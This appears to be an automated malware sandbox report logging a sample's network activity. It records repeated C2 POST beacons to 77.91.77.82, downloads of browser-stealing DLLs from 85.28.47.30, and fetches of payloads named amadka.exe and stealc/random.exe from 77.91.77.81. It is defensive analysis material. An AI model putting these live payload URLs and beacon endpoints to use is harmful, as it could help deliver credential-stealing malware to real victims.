Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 77.91.77.82 77.91.77.82
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 77.91.77.81 77.91.77.81

Source: Joe Sandbox View	ASN Name: GES-ASRU GES-ASRU
Source: Joe Sandbox View	ASN Name: FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU
Source: Joe Sandbox View	ASN Name: FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 8_2_007ABD30 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

8_2_007ABD30

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GyvREMzpSNTdcCH&MD=aG4zFxvE HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=1139788329&timestamp=1720118077870 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GyvREMzpSNTdcCH&MD=aG4zFxvE HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 77.91.77.81

Source: 29c55c1284.exe, 0000000D.00000002.2248431725.0000000003DA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: chromecache_195.15.dr	String found in binary or memory: _.$w(p);break;case "PuZJUb":a+="https://www.youtube.com/t/terms?chromeless=1&hl="+_.$w(m);break;case "fxTQxb":a+="https://youtube.com/t/terms?gl="+_.$w(_.ix(c))+"&hl="+_.$w(d)+"&override_hl=1"+(f?"&linkless=1":"");break;case "prAmvd":a+="https://www.google.com/intl/"+_.$w(m)+"/chromebook/termsofservice.html?languageCode="+_.$w(d)+"&regionCode="+_.$w(c);break;case "NfnTze":a+="https://policies.google.com/privacy/google-partners"+(f?"/embedded":"")+"?hl="+_.$w(d)+"&gl="+_.$w(c)+(g?"&color_scheme="+ equals www.youtube.com (Youtube)
Source: 29c55c1284.exe, 0000000D.00000003.2244202209.0000000003D56000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000003.2244718987.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000002.2248350185.0000000003D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: 29c55c1284.exe, 0000000D.00000003.2238768524.0000000003CFE000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000003.2245981355.0000000003CFE000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000003.2243989254.0000000003CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account$ equals www.youtube.com (Youtube)
Source: 29c55c1284.exe, 0000000D.00000003.2244202209.0000000003D56000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000003.2244718987.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000002.2248350185.0000000003D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account2= equals www.youtube.com (Youtube)
Source: 29c55c1284.exe, 0000000D.00000003.2244202209.0000000003D56000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000003.2244718987.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000002.2248350185.0000000003D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountj=& equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: accounts.youtube.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 522sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"Content-Type: application/x-www-form-urlencoded;charset=UTF-8sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"X-Goog-AuthUser: 0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: */*Origin: https://accounts.google.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.1836482618.00000000004C6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe
